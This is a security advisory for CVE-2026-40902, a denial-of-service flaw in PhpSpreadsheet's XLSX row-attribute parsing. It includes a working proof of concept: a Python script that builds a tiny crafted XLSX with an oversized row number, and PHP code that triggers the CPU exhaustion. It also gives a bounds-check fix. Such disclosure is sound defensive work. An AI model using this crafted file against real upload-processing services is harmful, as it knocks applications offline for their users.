CVE-2026-40902

Description

## Summary The XLSX reader's `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `<row r="999999999"/>` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources. ## Details In `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking: ```php // ColumnAndRowAttributes.php:216 $rowIndex = (int) $row['r']; // No validation against AddressRange::MAX_ROW ``` This value flows through `setRowAttributes()` (line 126) → `$this->worksheet->getRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`: ```php // Worksheet.php:1342-1349 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; } ``` The inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86): ```php // RowIterator.php:86 $this->endRow = $endRow ?: $this->subject->getHighestRow(); ``` Notably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks. ## PoC **Step 1: Create the malicious XLSX file (~1.6KB)** ```python import zipfile import io content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>' rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>' workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>' wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>' sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>' with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('[Content_Types].xml', content_types) zf.writestr('_rels/.rels', rels) zf.writestr('xl/workbook.xml', workbook) zf.writestr('xl/_rels/workbook.xml.rels', wb_rels) zf.writestr('xl/worksheets/sheet1.xml', sheet) print("Created dos_row.xlsx") ``` **Step 2: Load with PhpSpreadsheet (CPU exhaustion)** ```php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory; $reader = IOFactory::createReader('Xlsx'); $spreadsheet = $reader->load('dos_row.xlsx'); $sheet = $spreadsheet->getActiveSheet(); echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Output: Highest row: 999999999 // This will consume CPU for ~144 seconds (999M iterations) foreach ($sheet->getRowIterator() as $row) { // CPU exhaustion } ``` **Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely. ## Impact - **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file. - **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory. - **Amplification:** The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations. - **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely. ## Recommended Fix Add row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161: ```php // src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216 // Before: $rowIndex = (int) $row['r']; // After: $rowIndex = (int) $row['r']; if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) { continue; } ``` The `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161.

Affected packages (1)

• Packagist/phpoffice/phpspreadsheet>= 4.0.0, < 5.7.0

CVSS scores

References (3)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-40902
• PATCHhttps://github.com/PHPOffice/PhpSpreadsheet
• WEBhttps://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m